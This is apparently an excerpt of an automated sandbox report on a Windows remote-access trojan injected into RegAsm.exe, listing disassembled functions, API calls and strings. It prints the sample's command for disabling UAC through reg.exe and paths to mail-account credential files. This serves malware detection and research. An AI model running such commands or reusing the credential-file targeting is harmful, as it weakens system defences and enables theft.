                      • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                      • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                      • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                      • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                      Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                      • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                      • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                      • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                      • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                      Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                        • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?), ref: 10001EAC
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                        • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                        • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                      • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                        • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                        • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$_strlenlstrcat$AttributesFile
                      • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                      • API String ID: 4036392271-1520055953
                      • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                      • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                      • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                      • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                      Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ClassCreateErrorLastRegisterWindow
                      • String ID: 0$MsgWindowClass
                      • API String ID: 2877667751-2410386613
                      • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                      • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                      • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                      • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                      Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                      Download Yara Rule
                      APIs
                      • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                      • CloseHandle.KERNEL32(?), ref: 004077AA
                      • CloseHandle.KERNEL32(?), ref: 004077AF
                      Strings
                      • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                      • C:\Windows\System32\cmd.exe, xrefs: 00407796
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandle$CreateProcess
                      • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                      • API String ID: 2922976086-4183131282
                      • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                      • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                      • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                      • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                      Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                      Download Yara Rule
                      Strings
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 004076C4
                      • Rmc-F4JFYD, xrefs: 004076DA
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Rmc-F4JFYD
                      • API String ID: 0-1884823758
                      • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                      • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                      • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                      • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                      Function 0044333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                      • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                      • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressFreeHandleLibraryModuleProc
                      • String ID: CorExitProcess$mscoree.dll
                      • API String ID: 4061214504-1276376045
                      • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                      • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                      • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                      • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                      Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                      • CloseHandle.KERNEL32(?), ref: 00405140
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                      • String ID: KeepAlive | Disabled
                      • API String ID: 2993684571-305739064
                      • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                      • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                      • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                      • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                      Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                      • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                      • Sleep.KERNEL32(00002710), ref: 0041AE07
                      • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: PlaySound$HandleLocalModuleSleepTime
                      • String ID: Alarm triggered
                      • API String ID: 614609389-2816303416
                      • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                      • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                      • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                      • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                      Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                      • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                      • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                      • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                      Strings
                      • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Console$AttributeText$BufferHandleInfoScreen
                      • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                      • API String ID: 3024135584-2418719853
                      • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                      • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                      • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                      • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                      Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                      • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                      • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                      • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                      Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • _free.LIBCMT ref: 00444E06
                      • _free.LIBCMT ref: 00444E1D
                      • _free.LIBCMT ref: 00444E3C
                      • _free.LIBCMT ref: 00444E57
                      • _free.LIBCMT ref: 00444E6E
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$AllocateHeap
                      • String ID:
                      • API String ID: 3033488037-0
                      • Opcode ID: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                      • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                      • Opcode Fuzzy Hash: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                      • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                      Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                      • _free.LIBCMT ref: 004493BD
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00449589
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                      • String ID:
                      • API String ID: 1286116820-0
                      • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                      • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                      • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                      • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                      Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                      • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                      • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                        • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                        • Part of subcall function 0041BFE5: IsWow64Process.KERNEL32(00000000,?,?,?,00475338), ref: 0041C005
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                      • String ID:
                      • API String ID: 2180151492-0
                      • Opcode ID: 8b8cdfc602dbd14a3ce60d1437fbf9c616907d32c1791499aac7107a218dc19c
                      • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                      • Opcode Fuzzy Hash: 8b8cdfc602dbd14a3ce60d1437fbf9c616907d32c1791499aac7107a218dc19c
                      • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                      Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID:
                      • API String ID: 269201875-0
                      • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                      • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                      • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                      • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                      Function 0045112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                      • __alloca_probe_16.LIBCMT ref: 004511B1
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
                      • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                      • __freea.LIBCMT ref: 0045121D
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                      • String ID:
                      • API String ID: 313313983-0
                      • Opcode ID: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                      • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                      • Opcode Fuzzy Hash: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                      • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                      Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                      • _free.LIBCMT ref: 100071B8
                      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                      • String ID:
                      • API String ID: 336800556-0
                      • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                      • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                      • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                      • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                      Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                      • _free.LIBCMT ref: 0044F3BF
                      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                      • String ID:
                      • API String ID: 336800556-0
                      • Opcode ID: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                      • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                      • Opcode Fuzzy Hash: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                      • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                      Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
